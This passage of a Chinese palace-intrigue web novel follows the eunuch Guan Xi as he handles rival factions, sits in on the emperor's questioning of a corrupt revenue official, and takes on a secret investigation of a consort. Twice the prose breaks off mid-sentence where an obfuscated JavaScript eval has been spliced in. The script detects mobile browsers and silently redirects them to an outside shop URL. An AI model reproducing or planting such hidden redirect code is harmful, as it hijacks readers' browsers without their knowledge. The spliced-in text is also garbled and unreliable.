,猜忌的目光交织而来。 这日,关禧从御膳房查看晚膳菜单回来,路过一处回廊,恰好遇见前来向皇帝禀事的司礼监一位秉笔太监。 对方品阶远高于他,却主动停下脚步,笑眯眯地拱了拱手:“关公公,忙着呢?” 关禧连忙侧身让路,躬身行礼:“不敢,郑公公您先请。” 郑秉笔笑了笑,目光在他脸上身上转了一圈,意味深长道:“关公公年轻有为,陛下信赖,前途无量啊。日后还需多亲近。”说罢,才施施然离去。 关禧站在原地,目送着郑秉笔那身着绛紫蟒袍,步履沉稳的背影消失在回廊尽头,廊柱投下的阴影斜长,一如他此刻心头骤然拉长的警弦。 他怎么会不明白? 司礼监,内廷二十四衙门之首,掌印,秉笔,哪一个不是内宦中的顶尖人物?他们代皇帝批红,用朱笔勾决内阁呈进的票拟,是连接外朝内阁与内廷皇帝的关键枢纽,权柄之重,有时甚至能左右朝局风向。更重要的是,司礼监还统管着宫内大小事务,人事调度,赏罚用度,耳目遍布宫禁。 而他关禧,一个因忠谨敏慧被皇帝破格提拔,赐予嘉名,如今更是开始涉足初步处理奏章事务的御前新贵……这在司礼监那些大佬眼中,意味着什么? 意味着皇帝可能正在试图绕过,或至少是分薄他们手中的批红之权。意味着皇帝有意培植新,完全依附于他个人的内廷势力,意味着他们经营多年,盘根错节的权力网络,出现了一个不受控的变量。 郑秉笔方才那看似亲切的多亲近,笑意不达眼底的打量,背后是掂量,是审视,更可能是一种不动声色的警告,小子,路还长,看清楚自己站在哪块砖上。 皇帝把他推到这个位置,是真的仅仅因为信重,还是……有意将他置于炭火之上,既用其才,亦观其能,更借他这块石头,去试探甚至搅动司礼监乃至背后更庞大势力的深水? 他慢慢踱步,走向自己的新居所。 推开院门,老槐树的叶子在冷风中簌簌作响。双喜正在院里擦拭石桌,见他回来,连忙放下手中活计:“公公回来了。” 关禧“嗯”了一声,目光扫过院内。一切如常,又处处透着不寻常。这院子是孙得禄亲自安排的,里里外外伺候的人,除了双喜和贵平是他用惯的,其余皆是乾元殿拨来的生面孔。有多少双眼睛,在看似恭敬的垂首间,悄悄记录着他的一举一动,汇报给不同的主子? 他走进书房,在紫檀木书案后坐下。案头堆着几本他近日正在翻阅的《永昌会典》和历年《邸报》辑录,旁边放着一沓他练习馆阁体的宣纸,墨迹已干。 手指拂过书页,关禧强迫自己冷静下来。 司礼监的敌意,无法避免。只要皇帝继续让他接触奏章文书,哪怕只是最粗浅的整理和拟大意,这种冲突就会存在。 皇帝需要他。至少目前需要。需要他的耳目之策可能带来的新格局,需要他作为一把暂时还算顺手且与旧势力无瓜葛的新刀。所以,短期内,皇帝会保他。但这保护能持续多久?力度有多大?在真正触及司礼监根本利益时,皇帝会为了他一个小小从六品太监,与整个内廷最有权势的衙门正面冲突吗? 关禧不敢赌。 他必须更快地证明自己的价值,不仅仅是整理文书,拟写大意,更要展现出在皇帝构想的那条暗线中不可或缺的作用。同时,他必须谨言慎行,在司礼监眼皮底下,既要做好皇帝交代的事,又不能过度张扬,引来即刻的倾轧。 或许……可以尝试接触?不是投靠,那无异于找死,也辜负了皇帝那点难得的信重。而是某种微妙保持距离的沟通?让司礼监的人明白,他并无意取代谁,他只是皇帝手中一把临时用来做些琐碎活计的工具,甚至可以是……传递某些无关紧要消息的渠道? 这个念头让他胃里一阵翻腾。与虎谋皮,何其凶险。但在这深宫,有时候,纯粹的孤立等于快速死亡。 窗外传来更梆声,酉时了。 关禧揉了揉眉心,压下纷乱的思绪。无论如何,眼前最要紧的,是办好皇帝今日交代的另一件事,晚膳后,皇帝要召见户部浙江清吏司郎中,让他提前将此人近年经手的钱粮账目概要整理出来。 他摊开纸笔,蘸墨,开始梳理那些枯燥的数字和冗长的公文。 笔尖在纸面沙沙移动,馆阁体小楷工整。 60.第 61 章 门外传来了刻意放轻的脚步声。 双喜托着一个黑漆螺钿托盘,上面放着一盏热气袅袅的青瓷茶盅,小心翼翼地走进来,将茶放在书案一角:“公公,用些热茶,歇歇眼睛吧。” 关禧“嗯”了一声,端起茶盅,揭开盖子,氤氲的热气扑在脸上,稍稍驱散了冬夜的寒意和心头的沉郁。他啜了一小口,是上好的六安瓜片,温润微苦,回甘清冽。双喜如今在这些细节上,是越发周到了。 他放下茶盅,准备继续伏案,却见双喜并未像往常那样放下茶就退出去,垂手站在书案侧前方,脚尖蹭了蹭光洁的地砖,手指绞着衣角。 “怎么了?还有事?” 双喜被他问得一激灵,抬起头,脸上闪过一丝慌乱,随即又强自镇定下来,咽了口唾沫,声音比蚊子哼哼大不了多少:“公、公公……方才,奴才去膳房取热水时……碰巧,碰巧遇上了承华宫负责浆洗的一个小宫女,叫……叫小菊的,她跟奴才还算相熟……” 他顿了顿,偷眼觑了下关禧的脸色。关禧面上没什么表情,只那双凤眼在灯下沉静得让人心头发慌。 双喜头皮发麻,知道瞒不过,硬着头皮往下说:“她……她扯着奴才说了几句闲话,提起……提起冯昭仪娘娘近来夜里总睡不安稳,胃口也不佳,太医署请了平安脉,只说是思虑过甚,郁结于心,开了些安神的方子,也不大见效。小菊那丫头嘴快,说着说着就……就叹了一句,说陛下似乎……似乎很久没踏足过后宫了,娘娘们怕是都惦念得紧……” 话说到这里,意思已经再明白不过。 承华宫那边,借着一个浆洗小宫女无意的闲谈,将话递到了他关禧耳朵里。冯昭仪睡不安稳,思虑过甚,陛下很久没踏足后宫,这哪里是寻常的抱怨?这是在提醒他,提点他,更是在向他伸手。 关禧是从承华宫出来的,是冯媛亲手推到他如今这个位置上的。如今他得了陛下的眼,有了御前说话的份量,哪怕只是一丝可能的风声,在宫里人看来,便是了不得的资本。冯媛协理宫务,与玉芙宫徐昭容势同水火,皇帝久不入后宫,对无子傍身的她而言,绝不是什么好消息。她需要皇帝的关注,哪怕只是偶尔的临幸,也是一种姿态,一种维系地位和抗衡徐宛白的资本。 而他关禧,作为从承华宫走出去,如今在御前得宠的太监,理所应当,该知恩图报,该在皇帝耳边,为旧主吹吹风。皇帝固然不好女色,但皇帝的临幸本身就是后宫女子地位和荣宠的象征。冯媛未必真指望一次侍寝就能如何,但她需要这个信号,需要向六宫,尤其是向玉芙宫表明,她冯媛,在皇帝那里,并非无足轻重。 这一切,关禧懂。双喜也懂,所以他才如此忐忑不安。这话传得巧妙,看似无意,实则逼着他表态。 关禧没说话,重新端起了那盏茶,指尖摩挲着温热的瓷壁。书房里只听得见灯芯燃烧细微的噼啪声,和窗外北风掠过屋檐的呜咽。 双喜额角渗出冷汗,腿肚子有些发软。他不知道自己传这话是对是错,但小菊塞给他那包沉甸甸的碎银子,和那句“你家主子是明白人”的暗示,让他鬼使神差地开了口。 “小菊还说了什么?”关禧问。 双喜慌忙摇头:“没、没了!就说了这些!奴才……奴才也觉得不妥,但想着……想着……” “想着什么?”关禧抬眼,“想着我该回报娘娘提携之恩?想着我如今能在陛下跟前说上话,就该为旧主分忧?” 双喜扑通一声跪下了,声音带了哭腔:“奴才不敢!奴才只是……只是觉得,娘娘对公公您,毕竟有恩……这话递过来了,奴才若瞒着不报,怕误了公公的事……” “起来。”关禧淡淡道,“我没怪你。” 双喜战战兢兢地爬起来,垂着头不敢动。 关禧看着跳动的灯焰,心中念头飞转。冯媛此举,既是试探,也是施压。试探他对承华宫还有几分旧情,施压他必须有所表示。他若置之不理,在冯媛看来,便是忘恩负义,过河拆桥,难保日后不会在某些关节给他使绊子。他若真去皇帝耳边吹风……且不说皇帝如今对他的信重是否到了能干涉后宫之事的地步,单是这行为的风险,揣测圣意,干涉宫闱,尤其是可能触怒对后宫本就淡漠的皇帝,更可能引来司礼监甚至太后更深的忌惮和敌意。 这简直是一道送命题。 他忽然想起楚玉。若是楚玉在此,她会如何做?是冷着脸让他忘了这茬,明哲保身?还是会……有其他更迂回的办法? 不,楚玉不会给他任何建议。他们之间,早已划清了界限。 “双喜,”他开口,“承华宫那边,你日后少接触。尤其是传话递消息这种事,无论来自谁,无论大小,一律当作没听见,不知道。若有人再找你,你便说,御前当差,规矩森严,不敢与后宫私相授受,更不敢妄传言语。明白吗?” 双喜连忙点头如捣蒜:“明白!奴才明白!” “至于冯昭仪娘娘,陛下久未临幸后宫,非独承华宫一处。前朝事忙,陛下龙体为重,后宫诸事,自有皇后娘娘与太后娘娘主张。我等内侍,唯有勤谨当差,伺候好陛下,岂敢妄议?你今日听到的,只是小宫女不懂事的闲话,做不得数,也无需往心里去,更不必传与他人知晓。” 他这话,既点明了后宫之事自有高位者操心,非他一个太监所能置喙,又暗示了皇帝不入后宫可能有前朝或身体原因,最后更是警告双喜管住嘴。 双喜听得心惊肉跳,连连应是。 “好了,下去吧。”关禧挥挥手,“茶凉了,换盏热的来。另外,把我昨日让你收起来的那本《河工纪要》找出来,陛下晚膳后或许要用。” “是,奴才这就去!”双喜如蒙大赦,端起凉了的茶盅,逃也似的退了出去。 书房内重新恢复寂静。 关禧重新铺开一张宣纸,提起笔,半晌没有落下。 窗外,北风更紧了,吹得窗棂格格作响。这深宫之中,果然没有一刻是真正安稳的。旧主的索求,新贵的猜忌,帝王的莫测,太后的掌控……像一张无形的大网,从四面八方收拢而来。 他蘸饱了墨,笔尖悬在纸面上方,凝神片刻,落了下去,开始誊写那份户部钱粮账目概要。 字迹工整,力透纸背。 回报?他当然会回报。不是用冯媛期望的那种方式。皇帝的心思,他或许能揣摩一二,但绝不会用来做后宫争宠的工具。他的路,不在那莺莺燕燕,勾心斗角的后宫,而在御前这片看似平静实则暗流汹涌的方寸之地,在那条皇帝或许正在酝酿,布满荆棘的暗线上。 至于承华宫的“恩”。 ……关禧笔下不停,眼神冷了几分。他会记得冯媛当初的提携,也会记得楚玉那夜的教导,更会记得,自己是如何被当作一枚棋子,摆放到如今这个位置的。 恩情要还,但绝不是用将自己再次绑上某架战车的方式。 * 晚膳后,戌时初刻。 乾元殿东暖阁。 此处比书房更显私密,临窗炕上铺着厚厚的金线蟒纹坐褥,设一张紫檀木小炕桌。桌上已撤去膳具,只余两盏清茶,一碟未动的细点。鎏金蟠龙香炉里燃着助消化的苏合香,气息醇厚。 萧衍换了一身深青色团龙纹常服,未戴冠,只以一根玉簪绾发,斜倚在炕桌一侧的软枕上,手里随意翻着一本奏章,神色略显慵懒,那微垂的眼睫下,眸光清明。 关禧垂手立在暖阁珠帘外三尺处。他换了一身与品阶相称的靛蓝云纹常服,腰牌悬在身侧。手中捧着一个黑漆木托盘,上面整齐叠放着他下午整理的户部浙江清吏司近三年钱粮账目概要,以及几份关键文书的抄录副本。 珠帘轻响,孙得禄悄无声息地走进来,躬身道:“陛下,户部浙江清吏司郎中林敏之,已在殿外候旨。” “宣。”萧衍头也未抬。 片刻,一个穿着青色鹭鸶补子官袍,年约四十许,面皮白净,下颌蓄着短须的官员,低着头,步履谨慎地走了进来。他在距离御炕几步远的地方站定,撩袍跪倒:“臣户部浙江清吏司郎中林敏之,叩见陛下,吾皇万岁。” “平身。”萧衍放下奏章,语气平淡,“赐座。” 有小太监搬来一个绣墩,放在御炕斜下方。林敏之谢恩后,小心地坐了半边。 “浙江今年赋税,缴得还算齐整。”萧衍端起茶盏,轻轻拨弄着茶沫,“比去岁多了半成。听说今夏有几处州县遭了水患,能有此数,尔等也算用心了。” 林敏之立刻欠身:“陛下明鉴,此乃臣等分内之职。今夏水患,幸赖陛下洪福,工部与地方通力协作,抢修及时,灾情得以控制,未伤及税赋根本。百姓感念天恩,纳粮亦踊跃。”他答得流利,显然是早有准备。 “嗯。”萧衍不置可否,目光转向珠帘外的关禧,“把东西拿进来。” 关禧应声,端着托盘,低头走进暖阁。他步履轻而稳,将托盘轻轻放在御炕另一侧空着的小几上,然后躬身退至萧衍身侧后方,垂首侍立,眼观鼻鼻观心。 林敏之的目光不可避免地随着托盘移动,当看清上面那叠写满字迹的纸张时,瞳孔收缩了一下,随即飞快地垂下眼,放在膝上的手指蜷缩起来。 萧衍随手拿起最上面一页概要,看了两眼,“林卿,朕记得,你是永昌二年由吏部文选司郎中调任户部浙江清吏司的?” “是,臣蒙陛下隆恩,调任至今,已近三载。”林敏之恭声答道。 “三年……时间不长,也不短。”萧衍指尖在那页纸上点了点,“浙江乃鱼米之乡,赋税重地。你这三年经手的钱粮,折合白银,怕是不下千万两。条目清晰,账目齐整,可见平日是用心的。” “臣不敢当陛下谬赞,唯尽心王事而已。”林敏之额头渗出细微的汗珠,在暖阁明亮的烛火下泛着光。 “尽心王事……”萧衍重复着,忽然话锋一转,“只是朕有些好奇。去岁浙江织造局呈进的一批御用绸缎,账目上记的是苏杭十八家官营织坊协力承办,用工料银四万八千两。可朕前几日偶然看到一份旧档,嘉佑年间,同样规制的一批绸缎,由同样的织坊承办,工料银是三万两千两。时隔不过十余年,江南人工、桑丝价格虽有浮动,但据朕所知,涨幅绝不到五成。林卿掌管钱粮,对此可有解释?” 暖阁内空气骤然一凝。 林敏之脸上血色褪去,他从绣墩上滑跪在地,声音发颤:“陛、陛下……此事……此事臣……容臣细查!织造局采办事宜,虽经户部拨银核销,但具体采买、用工,多由织造局太监及地方承办官吏经手,臣……臣或有不察之处……” “不察?”萧衍声音冷了一分,“一笔账目或许不察,那这个呢?” 他又拿起另一页:“永昌三年,浙江盐课司上报修补盐场破损圩堤,请拨银两万五千两。账目清晰,有地方官员联名具结。可朕怎么听说,那处圩堤去年秋汛时依然决口,淹没盐田数百亩?修堤的银子,用到何处去了?还有,今年春,杭州府报请修缮府学,拨款八千两。如今秋去冬来,府学可曾动过一砖一瓦?” 萧衍每说一句,林敏之的脸色就白上一分,身体抖如筛糠,伏在地上,连连叩首:“臣有罪!臣失察!臣……臣立刻回去严查!定给陛下一个交代!” “交代?”萧衍靠回软枕,指尖在炕桌边缘敲击,“林敏之,你是进士出身,在六部辗转也有十几年了。该知道,有些事,不是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085398|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句失察就能搪塞过去的。户部掌天下钱粮,一丝一毫,皆是民脂民膏。浙江清吏司的账目,表面光鲜,底下却尽是这些窟窿。你是真的不知,还是……觉得天高皇帝远,朕看不到这些细微之处?” 最后一句,已是诛心之问。 林敏之官袍后背迅速洇湿一片,他张着嘴,却发不出完整的声音,只能拼命磕头,额角很快青紫。 关禧站在阴影里,呼吸放到最轻。皇帝今日召见林敏之,果然不是寻常问话。这些账目问题,绝非偶然看到旧档那么简单,显然是早有准备。或许,这就是皇帝让他整理那些文书摘要的真正目的,从浩如烟海的陈年旧账中,找出这些不起眼却足以致命的错漏。 这是敲打,更是示威。皇帝在通过一个从六品太监整理出的东西,告诉这些盘踞在六部的官员:你们的账,朕心里有数,朕有眼睛,有耳朵,即便不用那些老家伙,朕也能知道你们在下面做了什么。 同时,这也是在检验他关禧的能力。 “行了。”萧衍有些不耐烦,挥了挥手,“磕出血来,银子也回不到国库。朕给你十日时间,将浙江清吏司近三年所有经手钱粮项目,重新核查一遍,凡有不清不楚、虚报冒领、挪用亏空之处,一一列明,具折上奏。该退赔的退赔,该问责的问责。十日后,朕要看到结果。” 林敏之如蒙大赦,又如坠冰窟。十日?这分明是要他自断臂膀,将浙江司乃至可能牵连到的上下环节,捅个窟窿出来。这是将他架在火上烤。 “臣……臣遵旨!定当竭尽全力,清查到底!”林敏之咬牙应下,他知道自己没有选择。 “去吧。”萧衍闭上眼。 林敏之踉跄着爬起来,又深深躬了一礼,才脚步虚浮地退了出去,背影仓皇。 暖阁内重归寂静,只有苏合香在空气中缓缓流淌。 良久,萧衍才睁开眼,目光落在静静侍立的关禧身上。 “关禧。” “奴才在。” “你整理的这些,很好。”萧衍的声音听不出太多情绪,“条理清楚,要害抓得准。” “陛下圣明烛照,奴才只是将文书誊录归纳,不敢居功。”关禧躬身。 “不必过谦。”萧衍端起茶,呷了一口,“能看出这些,是你的本事。不过,看出问题容易,解决问题难。林敏之回去,会怎么做?” 关禧谨慎答道:“林大人……想必会连夜核查账目,追查亏空。只是……十日之期紧迫,浙江道远,牵连必广,恐非林大人一人之力可竟全功。且账目问题,往往牵一发而动全身,林大人即便想彻查,也未必能查得下去,甚至可能……自身难保。” 这是实话。户部一个清吏司郎中,在地方钱粮利益网中,恐怕也只是其中一环。皇帝逼他自清,等于将他推到了整个利益集团的对立面。查,可能死,不查,违抗圣命,也是死。 萧衍笑了,那笑声里带着冷意:“自身难保?那就要看他,是更怕朕,还是更怕那些让他难保的人了。”他放下茶盏,看向关禧,“你觉得,他背后会是谁?” 关禧头皮发麻,这个问题比刚才的更凶险。他沉默片刻,答道:“奴才愚钝,不敢妄测。然钱粮之事,牵涉甚广,地方官吏,京中各部,乃至……宫中采办、内务,或有千丝万缕之联系。林大人身处其中,想必……亦是身不由己。” 他将范围模糊化,提到了宫中采办,内务,这是最可能也最敏感的方向。宫中用度,尤其像织造,贡品这类,历来是油水丰厚的差事,与内廷二十四衙门,尤其是司礼监,内官监,御用监等关系密切。 萧衍深深看了他一眼,没有继续追问,转而道:“朕让你整理这些,并非只为敲打一个林敏之。浙江一司如此,其他各司,各省,又如何?国库年年吃紧,边关要饷,河工要钱,赈灾要粮,可银子拨下去,就像泥牛入海,听不见几个响动。都说是天灾,是损耗,是不得已……可这里头,到底有多少是人祸,是硕鼠在啃噬朕的江山?” “朕需要一个真正清楚账目,能看出问题,更要有胆量去查问题的人。不止在户部,在六部,在地方,在……这宫墙内外。” 关禧心头凛然。皇帝这是在明确指向那番耳目之策的谈话。不仅需要耳目探查,更需要一把能顺着查出的线索,深入追索,甚至执法的刀。 他撩袍跪下,“陛下若有差遣,奴才万死不辞。奴才愿为陛下之耳目,亦愿为陛下之刀锋。虽肝脑涂地,必竭尽所能,为陛下廓清阴霾。” 这不是简单的表忠,而是将自己的命运,彻底绑在了皇帝这辆或许驶向未知深渊的战车上。 “起来吧。你的忠心,朕知道了。不过,刀不是那么好做的。磨得太快,易折;藏得太深,无用。林敏之这件事,你继续盯着,他递上来的折子,你先看,把要紧的摘出来。另外……” “司礼监郑秉笔,是不是找过你?” 关禧心中剧震,皇帝果然什么都知道。他维持着平静:“是。郑公公勉励了奴才几句,让奴才勤勉当差。” “勤勉当差……”萧衍似笑非笑,“他是该勉励你。你如今做的这些,本也该是他们司礼监分内的活儿。好好干,让他们看看,朕提拔的人,有没有用。” 这话里的意味,让关禧背脊发凉。皇帝这是要他继续在司礼监敏感的领域行事,甚至是……故意刺激对方? “奴才遵旨。”关禧只能应下。 “退下吧。明日早些来,朕另有差事交给你。”萧衍挥挥手,重新拿起了奏章。 关禧躬身退出暖阁。 走到外面廊下,初冬的夜风冰冷刺骨,他缓缓吐出一口白气,望向沉沉的夜空。 刀已出鞘,再无回旋。 61.第 62 章 次日寅时三刻,天仍是墨黑。 关禧已起身,换上那身靛蓝云纹常服,腰牌系得端正。 卯初,他准时踏入乾元殿书房外间。 孙得禄已候在那里,见他来了,那张惯常挂着公式化笑容的脸上难得没什么表情,“陛下让你进去。” 书房内烛火通明,炭盆烧得正旺。萧衍今日未穿常服,一身明黄色团龙纹曳撒,腰间束着玉带,负手站在窗前,望着外面的天色。听到脚步声,他转过身。 “来了。”萧衍语气平淡,“有件旧事,朕思虑良久,觉得该有个了断。” 关禧垂首肃立:“请陛下吩咐。” “永昌五年夏,长春宫李婕妤私通侍卫一案,你可有耳闻?” 李婕妤,出身不低,初入宫时也曾有过几分宠爱,却在永昌五年夏突然被揭发与宫中一名侍卫有染,证据确凿,皇帝震怒,李婕妤被打入冷宫,长春宫一应宫人全部发配浣衣局或苦役司。而揭发此事的人,正是玉芙宫徐昭容身边的一名宫女。当时徐昭容刚承宠不久,风头正劲,与李婕妤素有嫌隙。 “奴才略有耳闻。”关禧谨慎答道,“听闻是徐昭容娘娘身边人揭发,李婕妤因此获罪。” “略有耳闻?”萧衍踱步到御案后坐下,指尖敲了敲桌面,“那你可知,此案当时,便有疑点。李婕妤性情虽有些骄纵,却并非愚钝之人,在宫中行此悖逆之事,风险几何,她岂能不知?那侍卫的供词,前后也有纰漏。只是当时……徐昭容初得太后青眼,又恰逢前朝有些事端,朕不欲后宫再生波澜,便依律处置了。” 他看向关禧:“但此事,朕心里一直存着疑影。后来冯昭仪也曾向朕提过,李婕妤事发前,曾与她有过一次偶遇,言谈间颇为忧虑,似察觉有人欲对其不利。而告发李婕妤的那个宫女,在事成后不久,便因失足落井死了,死无对证。” “朕当时着冯昭仪暗中留意,她也查过一些。长春宫的宫人虽已发配,但并非全无线索。其中有个叫春杏的宫女,原是在李婕妤身边伺候茶水的,在李婕妤事发前半个月,家中突然宽裕了许多,她那个嗜赌如命的兄长,不仅还清了赌债,还在城外置办了几亩薄田。” “一个普通宫女,何来如此横财?冯昭仪查到此处,便不好再往下深究,因为春杏后来被调拨去了浣衣局,而浣衣局的管事嬷嬷,与永寿宫有些拐弯抹角的亲缘。徐昭容那时,已是太后跟前红人。” 关禧听着,背脊渐渐绷紧。皇帝这是在告诉他,李婕妤很可能是被徐昭容设计陷害,而那个叫春杏的宫女,是关键证人,甚至可能是帮凶或经手人。如今春杏在浣衣局,看似受罚,实则被徐昭容暗中保护控制着。皇帝当时碍于形势按下不表,如今旧事重提,显然是认为时机到了,或者他需要借这把新刀,去撬开这个旧疮。 “朕要你查清此事。”萧衍目光如锥,钉在关禧脸上,“李婕妤是否冤枉,春杏在其中扮演什么角色,那笔钱的来源,还有——徐昭容与此事到底牵连多深。朕不要打草惊蛇的证据,朕要能一击即中,让她无法辩驳的铁证。” 他顿了顿,补充道:“冯昭仪那里,朕已打过招呼。她当初查到的细枝末节,你可以去问。但记住,此事机密,万不可泄露。徐昭容如今怀着龙嗣,太后护得紧。你若行事不密,被她或太后察觉,朕……未必能及时护你周全。” 这是将最锋利的刀递给了他,也把最危险的悬崖指给了他。查的是如今风头最盛,有孕在身的宠妃,背后可能牵扯太后。一旦走漏风声,后果不堪设想。 关禧压下心头翻涌的寒意,撩袍跪下:“奴才明白。奴才定当谨慎行事,为陛下查明真相。” “起来吧。”萧衍摆了摆手,“冯昭仪此时应在后殿小佛堂。你去吧,她知道该告诉你什么。” * 承华宫后殿的小佛堂,门户紧闭,檀香的气息从门缝里丝丝缕缕渗出,与冬晨清冷的空气混合。 关禧站在门外,深吸一口气,才抬手轻叩。 门内传来楚玉的声音:“进来。” 佛堂内光线昏暗,只有佛龛前点着几盏长明灯,映着鎏金佛像慈悲垂目的容颜。冯媛坐在一旁的紫檀木圈椅中,手里捻着一串沉香木佛珠,楚玉侍立在她身侧。 见到关禧,冯媛脸上露出一丝极淡的微笑:“关公公来了。”她不再称呼小离子,用的是新赐的名号和御前得用的敬称。 “奴才给昭仪娘娘请安。”关禧行礼。 “不必多礼。”冯媛示意他坐下,目光在他身上那身崭新的靛蓝云纹常服上停留了一瞬,“陛下交代你的事,本宫已知晓。难为你了,这差事……不好办。” 关禧垂眼:“为陛下分忧,是奴才本分。” 冯媛轻叹一口气,捻动佛珠:“李婕妤……是个可怜人。性子是直了些,得罪过徐昭容。本宫与她不算深交,但那次御花园偶遇,她神色仓皇,拉着本宫的手说有人要害我,本宫只当她多心,劝慰了几句。谁知不过旬日,便出了那等事……后来陛下让本宫暗中留意,本宫便着人查了查长春宫当时遣散的宫人。其他人或是真不知情,或是被敲打怕了,唯有那个春杏……” 楚玉适时递上一本薄薄的册子,冯媛接过,递给关禧:“这是当时查到的,关于春杏及其家境的记录。她家原本赤贫,兄长是东城有名的赌棍。永昌五年六月初,也就是李婕妤事发前约半月,春杏的兄长突然还清了积年赌债,共计纹银八十两。九月,又在城外置了五亩旱田。一个宫女,月例不过三两银子,还要补贴家里,这笔钱,来得蹊跷。” 关禧接过册子,快速翻看。记录很详细,甚至列出了赌坊名称和城外田地的位置。冯媛做事,果然滴水不漏。 “本宫顺着钱款去向暗中查过,”冯媛继续道,“那笔银子兑换的是宝昌号的银票,不记名。宝昌号背后有些官宦背景,查起来容易打草惊蛇,本宫便未再深追。至于春杏,事发后与其他宫人一同被发往浣衣局。但据本宫所知,她在浣衣局,并未真正做过粗重活计,反而被安排在管事嬷嬷房中做些轻省杂事,吃穿用度也比寻常罪奴好上许多。浣衣局的掌事张嬷嬷,有个远房侄女,在永寿宫当差。” 线索清晰地指向了徐昭容,以及她背后的太后。春杏是拿钱办事的关键人物,如今被放在浣衣局这个看似艰苦实则易于控制的环境里,由太后的人看着。 “陛下要铁证。”关禧合上册子,“春杏的证词,是关键。但她如今被看管严密,且事隔数月,她未必肯说,甚至可能……早已被教好了说辞。” “正是如此。”冯媛点头,“所以此事急不得。陛下让你来,是信重你,也是因为你与后宫诸人无甚旧瓜葛,行事便宜。你可先从外围入手,比如春杏的兄长。此人嗜赌,即便有了田产,也未必能安分。或许,能从他那条线上,找到银钱来源的蛛丝马迹。另外,长春宫那些被发配的宫人,虽然散落各处,但总有人心里藏着不甘或恐惧。找对人,用对方法,或许也能有所收获。” 她看了一眼楚玉,楚玉会意,从袖中取出一个更小的纸卷,递给关禧:“这是目前能查到的,春杏兄长常去的赌坊,以及几个可能知道些内情的旧长春宫宫人现在的去向。未必准确,仅供参详。” 关禧接过,纸卷还带着楚玉袖中淡淡的冷香。他指尖微顿,随即稳稳握住:“谢娘娘,谢……青黛姑娘。” 楚玉看了他一眼,眼神淡漠,很快移开。 “此事千头万绪,又需极度隐秘。”冯媛最后叮嘱,“关公公务必小心。徐昭容如今有孕,更是敏感。陛下虽有意查清,但若动静太大,触及太后底线……陛下恐也难做。望你……好自为之。” 这是提醒他,皇帝可能随时会因为太后压力而放弃追查,届时他这个执行者,便是最好的替罪羊。 “奴才谨记娘娘教诲。”关禧起身,仔细收好册子和纸卷,躬身退出了小佛堂。 房门被带上,隔断了关禧那道清瘦挺直的背影。 佛堂内重新陷入寂静。 冯媛捻着佛珠,目光似乎落在佛像慈悲低垂的眼眸上,又似乎穿透了袅袅青烟,落在了更远,更虚无处。 良久,她叹了口气。 “青黛,你还真是狠得下心。方才竟一眼也不曾多看他。” 关禧是楚玉一手带出来的人。从承华宫书斋那个苍白惶恐,伤口未愈的小太监,到如今御前行走,赐名擢升的关公公,每一步都留有她的痕迹。更别提……那晚西暖阁,暖香馥郁,汗水交织,她亲手将他推入那不堪的境地,也亲眼见过他身体与灵魂割裂的挣扎,感受过他指尖的颤抖和最后那几乎同归于尽般的爆发。 冯媛知道,冯媛当然知道。当初决定要教导这个被皇帝偶然问起,被太后暗暗审视的棋子时,是她冯媛自己,在最后关头迟疑了。她对着铜镜,看着镜中清丽却已非少女的容颜,想象着那样贴近一个残缺的身体,哪怕只是教导,也让她从心底泛起一股生理性的排斥。她是昭仪,是冯家精心培育送入宫中的女儿,是协理宫务,需要维持体面和清醒的妃嫔。 所以,她看向了一直静立在她身后,如自己另一道影子的楚玉。 “你去。”她记得自己当时的声音,平静无波,像是在吩咐一件最寻常的差事,“让他学会该学的。让他……成为一件合格的礼物。” 楚玉没有问为什么是她,也没有丝毫犹豫,那双沉静的眼眸深处,有极幽暗的东西掠过,然后归于更深的沉寂。 “是。”她只答了这一个字。 如今,这枚被她们共同打磨过的棋子,已然脱手,被皇帝握在了掌心,甚至开始显露超出预期的锋芒。 冯媛的目光从佛像上缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086252|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓移开,落在了楚玉的脸上,昏黄的灯光下,女人的侧脸线条清晰冷硬,嘴唇抿成一条直线,睫羽低垂,将所有情绪都掩藏得滴水不漏。 “他如今的模样气度,倒真是应了关禧二字,比当初那副惨淡样子,强出不知多少。陛下看起来,用得也顺手。只是不知,你这亲手教出来的人,如今心里,到底还记不记得承华宫,记不记得……你这个师父?” 楚玉终于抬起眼,迎向冯媛的审视,声音没有丝毫波澜:“娘娘说笑了。奴婢只是奉娘娘之命行事。他是陛下的人,心里自然只能有陛下。记得与否,于奴婢,于承华宫,都已无关紧要。” “无关紧要?”冯媛轻轻笑了,那笑意未达眼底,让佛堂内的空气更凝滞了几分,“楚玉,你在我身边多少年了?你骗得过旁人,还能骗得过我?” 她微微倾身,靠近了些,檀香的气息混合着她身上固有的清雅冷香,将楚玉笼罩:“那晚之后,你病了足足两日,高热不退,梦里都在说胡话。我亲自守了你一夜,听见你喊……” 她没有说出那含糊的梦呓究竟是什么,只是看着楚玉骤然收缩的瞳孔和失了血色的唇。 “你本不必做到那一步的,不是吗?教他规矩,让他明白如何侍奉,方法多的是。以你的手段,让他恐惧、让他机械地记住那些动作和反应,并不难。可你……楚玉,你失控了。” 楚玉的身体几不可察地晃了一下,冯媛的话像最锋利的针,精准地刺破了她用冰冷和疏离层层包裹的内心,挑开了那连她自己都试图遗忘,不愿面对的一夜。 是,她失控了。 